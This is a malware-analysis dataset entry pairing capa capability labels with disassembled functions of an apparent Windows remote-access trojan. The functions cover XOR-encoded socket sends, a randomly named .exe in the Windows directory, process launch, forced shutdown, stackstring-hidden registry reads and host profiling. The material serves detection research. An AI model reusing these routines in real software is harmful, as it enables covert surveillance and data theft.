joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b00
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x10]
push ebp
mov ebp, dword [esp + 0x18]
push esi
push edi
push ebp
push ebx
mov dword [esp + 0x1c], ecx
call fcn.00404d60
mov esi, dword [esp + 0x2c]
add esp, 8
mov edi, ebp
cmp ebp, esi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], edi
jb 0x401b88
xor ebp, ebp
mov eax, dword [esp + 0x14]
push 0
push esi
push ebx
mov ecx, dword [eax + 0x48]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
test edi, edi
jg 0x401b5b
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebp
cmp ebp, 0xf
jl 0x401b35
cmp ebp, 0xf
je 0x401bd5
mov eax, dword [esp + 0x1c]
push 0xa
add eax, edi
add ebx, esi
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
sub eax, esi
cmp eax, esi
mov dword [esp + 0x10], eax
jae 0x401b33
mov ebp, dword [esp + 0x20]
mov edi, eax
test edi, edi
jle 0x401bcd
mov dword [esp + 0x20], 0
mov edx, dword [esp + 0x14]
push 0
push edi
push ebx
mov eax, dword [edx + 0x48]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
test esi, esi
jg 0x401bc2
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x20]
inc eax
cmp eax, 0xf
mov dword [esp + 0x20], eax
jl 0x401b94
cmp dword [esp + 0x20], 0xf
je 0x401bd5
add dword [esp + 0x1c], esi
mov eax, dword [esp + 0x1c]
cmp eax, ebp
je 0x401bd8
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 0xc

Function at 0x401d30
Capabilities:
Get common file path

Disassembly:
sub esp, 0x110
push esi
xor eax, eax
push edi
mov edi, ecx
mov dword [esp + 8], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0xc], eax
push 0x104
push ecx
mov byte [esp + 0x18], al
mov byte [esp + 0x10], 0x1b
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x1a
lea esi, [edi + 0x18]
call fcn.00401d10
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00401d10
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00401d10
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00401d10
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00401d10
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00401d10
add esp, 4
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea edx, [esp + 0x14]
push esi
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor esi, esi
lea eax, [esp + 0x14]
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x401e00
mov dword [edi + 0x10], esi
mov dword [edi + 0x14], esi
pop edi
pop esi
add esp, 0x110
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 8]
push 9
push ecx
mov ecx, edi
call fcn.00403eb0
pop edi
pop esi
add esp, 0x110
ret
Function at 0x401e30
Capabilities:
Create process on windows
Query environment variable

Disassembly:
sub esp, 0x554
mov ecx, 0x41
xor eax, eax
push ebp
mov ebp, dword [esp + 0x55c]
push esi
push edi
lea edi, [esp + 0x60]
push 0x2e
rep stosd dword es:[edi], eax
push ebp
call fcn.004067c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x401e6a
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x554
ret
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x165]
mov byte [esp + 0x164], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x20
push esi
stosb byte es:[edi], al
call fcn.004067c0
add esp, 8
test eax, eax
je 0x401ec7
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffe
test ecx, ecx
jle 0x401edc
cmp byte [ecx + esi], 0x20
je 0x401eb3
dec ecx
test ecx, ecx
jg 0x401ea6
jmp 0x401edc
push ecx
lea eax, [esp + 0x168]
push esi
push eax
call fcn.004066c0
add esp, 0xc
jmp 0x401edc
lea edx, [esp + 0x164]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401ed2
push 0
push 0x104
lea ecx, [esp + 0x68]
push 0
push ecx
push 1
lea edx, [esp + 0x178]
push 0
push edx
push closesocket
call fcn.00405270
add esp, 0x20
test eax, eax
jne 0x401f13
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x554
ret
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x36c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x60]
lea ecx, [esp + 0x36c]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
mov byte [esp + 0x274], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x275]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 0x104
lea edx, [esp + 0x27c]
push 0
stosb byte es:[edi], al
push edx
push 2
lea eax, [esp + 0x38c]
push 0
push eax
push closesocket
call fcn.00405270
add esp, 0x2c
test eax, eax
jne 0x401f9a
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x554
ret
lea ecx, [esp + 0x60]
push 0x104
lea edx, [esp + 0x26c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [esp + 0x60]
push 0x41e138
push eax
call fcn.00406640
add esp, 8
test eax, eax
jne 0x401ffa
lea ecx, [esp + 0x60]
push 0x41e134
push ecx
call fcn.00406640
add esp, 8
test eax, eax
jne 0x401ffa
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x60]
push 0x41e130
push edx
call esi
lea eax, [esp + 0x60]
push ebp
push eax
call esi
jmp 0x402002
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x568]
mov dword [esp + 0xc], 0x44
test eax, eax
je 0x40202c
mov dword [esp + 0x14], str.WinSta0Default
jmp 0x40203b
mov dword [esp + 0x38], 1
mov word [esp + 0x3c], 0
lea ecx, [esp + 0x50]
lea edx, [esp + 0xc]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x7c]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
mov al, 1
pop ebp
add esp, 0x554
ret
Function at 0x402530
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.00405130
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.00405130
add esp, 8
ret

Function at 0x4031d0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0xfac]
mov dword [ebx], 0x419450
test eax, eax
jbe 0x403211
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0xc]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0xfac]
inc edi
add esi, 4
cmp edi, eax
jb 0x4031f1
pop esi
pop ebp
mov ecx, ebx
pop edi
pop ebx
jmp fcn.00403e80

Function at 0x404070
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x404130
push esi
push edi
add ebx, 0x10
mov eax, dword [ebx]
test eax, eax
jne 0x4040dc
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x40410e
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x40410e
push 4
push 0x1000
push eax
mov eax, dword [ebx - 4]
add eax, ebp
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x40409e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404140
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x4041f4
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x404197
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4041da
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x41e4d8]
je 0x4041ae
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x4041c7
test al, 0x40
je 0x4041be
mov ecx, dword [ebx + 0x20]
jmp 0x4041c5
test al, al
jns 0x4041da
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x4041da
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x404164
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4044f0
Capabilities:
Get hostname

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push esi
push 0x422178
push str.REMARK
push 0x41e16c
call fcn.00405550
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x404526
push edi
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
pop edi
pop esi
ret
Function at 0x404580
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
sub esp, 0x240
mov ax, word [0x41e5b0]
mov cl, byte [0x41e5b2]
push ebx
push esi
push edi
mov word [esp + 0x4c], ax
mov byte [esp + 0x4e], cl
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x4f]
rep stosd dword es:[edi], eax
mov dx, word [0x41e5ac]
mov ecx, 0x3f
stosb byte es:[edi], al
mov al, byte [0x41e5ae]
lea edi, [esp + 0x14f]
mov byte [esp + 0x14e], al
xor eax, eax
mov word [esp + 0x14c], dx
lea edx, [esp + 0x4c]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [esp + 0x14c]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xc], 0x48
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x10], 0x57
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov bl, 0x44
and ecx, 3
mov byte [esp + 0xf], bl
rep movsb byte es:[edi], byte [esi]
mov cl, 0x45
mov byte [esp + 0x15], bl
mov byte [esp + 0x13], cl
mov byte [esp + 0x16], cl
mov al, 0x41
mov dl, 0x52
mov bl, 0x53
mov cl, 0x49
mov byte [esp + 0xd], al
mov byte [esp + 0xe], dl
mov byte [esp + 0x11], al
mov byte [esp + 0x12], dl
mov byte [esp + 0x17], bl
mov byte [esp + 0x19], dl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1d], cl
mov byte [esp + 0x21], bl
mov al, 0x5c
mov bl, 0x73
mov cl, 0x74
mov dl, 0x65
mov byte [esp + 0x14], al
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x1b], 0x50
mov byte [esp + 0x1c], 0x54
mov byte [esp + 0x1e], 0x4f
mov byte [esp + 0x1f], 0x4e
mov byte [esp + 0x20], al
mov byte [esp + 0x22], 0x79
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], al
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x6e
mov byte [esp + 0x38], al
mov byte [esp + 0x2b], cl
mov eax, 4
mov cl, 0x72
mov dword [esp + 0x48], eax
mov dword [esp + 0x44], eax
mov byte [esp + 0x2c], cl
mov byte [esp + 0x30], cl
mov byte [esp + 0x37], cl
lea eax, [esp + 0x3c]
lea ecx, [esp + 0xc]
push eax
push ecx
push closesocket
mov byte [esp + 0x39], 0x61
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x50
mov byte [esp + 0x3d], 0x6f
mov byte [esp + 0x3e], 0x63
mov byte [esp + 0x3f], dl
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x6f
mov byte [esp + 0x45], 0x30
mov byte [esp + 0x46], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0x48]
lea eax, [esp + 0x40]
push edx
lea ecx, [esp + 0x48]
push eax
mov eax, dword [esp + 0x44]
push ecx
lea edx, [esp + 0x58]
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x40]
pop edi
pop esi
pop ebx
add esp, 0x240
ret
Function at 0x404750
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x24
push ebp
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0xc]
xor ebp, ebp
push eax
push 0x41a924
push 1
push ebp
push 0x41a944
mov dword [esp + 0x20], ebp
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x404785
xor eax, eax
pop ebp
add esp, 0x24
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 8]
push 0
mov dword [esp + 0xc], 0
mov ecx, dword [eax]
push edx
push 0x41a934
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x40485a
lea edx, [esp + 0x14]
mov dword [esp + 4], eax
mov eax, dword [esp + 8]
push edx
lea edx, [esp + 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x404850
push ebx
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
push esi
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x18]
push edx
push 0x419490
mov ecx, dword [eax]
push 0
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x40482a
lea eax, [esp + 0x20]
push eax
call esi
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x20]
push 0
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x404819
inc ebp
lea eax, [esp + 0x20]
push eax
call ebx
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push edx
lea edx, [esp + 0x10]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x4047db
pop esi
pop ebx
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebp
pop ebp
add esp, 0x24
ret
Function at 0x404880
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x224
push esi
push edi
mov esi, dword [esp + 0x230]
mov ecx, 0x42
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 8]
mov dword [esp + 0x14], eax
lea edx, [esp + 0x10]
mov dword [esp + 0x18], eax
push ecx
mov dword [esp + 0x20], eax
mov eax, dword [esi + 0x48]
push edx
push eax
mov byte [esp + 0x2c], 0xc8
mov dword [esp + 0x14], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x14]
push str.Test
lea edx, [esp + 0x12c]
push str.SYSTEMCurrentControlSetServices_s
push edx
mov dword [esp + 0x50], ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x134]
lea ecx, [esp + 0x54]
push eax
push 0x32
push ecx
call fcn.004044f0
add esp, 0x18
lea edx, [esp + 0x7c]
mov dword [esp + 0x7c], 0x9c
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x84]
push eax
lea edx, [esp + 0x84]
push ecx
push edx
call fcn.00404530
add esp, 0xc
test eax, eax
je 0x404943
mov eax, dword [esp + 0xc]
mov dword [esp + 0x118], eax
call fcn.00404580
mov ecx, dword [esp + 0x234]
mov dword [esp + 0x11c], eax
mov dword [esp + 0x120], ecx
call fcn.00404750
lea edx, [esp + 0x21]
push 0x20
push edx
push str.Default
push str.GROUP
push 0x41e16c
mov dword [esp + 0x138], eax
call fcn.00405550
add esp, 0x14
lea eax, [esp + 0x20]
mov ecx, esi
push 0x108
push eax
call fcn.004019a0
pop edi
pop esi
add esp, 0x224
ret

Function at 0x404cf0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x20]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 0x20]
push ecx
push 0x404cc0
push edx
push eax
call fcn.00406e0f
mov ecx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x404d60
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x404d80
mov dl, byte [ecx + eax]
xor dl, 0x19
add dl, 0x7a
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x404d6f
pop esi
ret

Function at 0x404d90
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x404db0
mov dl, byte [ecx + eax]
sub dl, 0x7a
xor dl, 0x19
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x404d9f
pop esi
ret
Function at 0x404df0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x419460
push 0x406f7c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x128
push ebx
push esi
push edi
push str.user32.dll
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
mov edi, eax
mov dword [ebp - 0x1c], edi
push str.GetThreadDesktop
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x20], eax
push str.GetUserObjectInformationA
push edi
call esi
mov dword [ebp - 0x24], eax
push str.SetThreadDesktop
push edi
call esi
mov dword [ebp - 0x28], eax
push str.CloseDesktop
push edi
call esi
mov dword [ebp - 0x2c], eax
push str.kernel32.dll
call ebx
mov ebx, eax
mov dword [ebp - 0x30], ebx
push str.GetCurrentThreadId
push ebx
call esi
call eax
push eax
call dword [ebp - 0x20]
mov esi, eax
mov dword [ebp - 0x34], 1
mov dword [ebp - 4], 0
lea eax, [ebp - 0x38]
push eax
push 0x100
lea ecx, [ebp - 0x138]
push ecx
push 2
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x24]
test eax, eax
jne 0x404ea6
mov dword [ebp - 0x34], eax
jmp 0x404eba
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x28]
test eax, eax
jne 0x404eb6
mov dword [ebp - 0x34], eax
jmp 0x404eba
push esi
call dword [ebp - 0x2c]
mov dword [ebp - 4], 0xffffffff
call fcn.00404ee0
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405130
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x40519e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x4051f5
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x40520d
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x405218
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret
Function at 0x405270
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x419480
push 0x406f7c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x224
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x120]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [ebp - 0x224]
rep stosd dword es:[edi], eax
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x228]
push eax
push 0x20019
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4052e5
mov dword [ebp - 0x1c], 0xffffffff
jmp case.0x4052fb.5
cmp dword [ebp + 0x24], ebx
jne case.0x4052fb.5
mov eax, dword [ebp + 0x14]
dec eax
cmp eax, 6
ja case.0x4052fb.5
jmp dword [eax*4 + 0x4054a8]
mov dword [ebp - 0x22c], 0x104
lea ecx, [ebp - 0x22c]
push ecx
lea edx, [ebp - 0x120]
push edx
lea eax, [ebp + 0x14]
push eax
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x228]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x4052fb.5
lea eax, [ebp - 0x120]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x405469
mov dword [ebp - 0x22c], 0x104
lea edx, [ebp - 0x22c]
push edx
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp + 0x14]
push ecx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x228]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x4052fb.5
lea esi, [ebp - 0x120]
mov dword [ebp - 0x230], esi
cmp byte [esi], bl
je 0x4053cb
push 0x104
push esi
lea ecx, [ebp - 0x224]
push ecx
call fcn.00405230
push 0x104
push 0x41e130
lea edx, [ebp - 0x224]
push edx
call fcn.00405230
push ebx
push esi
call fcn.00407070
add esp, 0x20
inc eax
mov esi, eax
jmp 0x40538a
lea eax, [ebp - 0x224]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x405469
mov dword [ebp - 0x22c], 4
lea edx, [ebp - 0x22c]
push edx
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp + 0x14]
push ecx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x228]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x4052fb.5
mov ecx, dword [ebp - 0x234]
push ecx
push 0x41e794
mov edx, dword [ebp + 0x18]
push edx
jmp 0x405460
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x22c], eax
lea ecx, [ebp - 0x22c]
push ecx
mov edx, dword [ebp + 0x1c]
push edx
lea eax, [ebp + 0x14]
push eax
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x228]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x4052fb.5
mov eax, dword [ebp + 0x14]
push eax
push str._08X
mov ecx, dword [ebp + 0x18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00405490
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret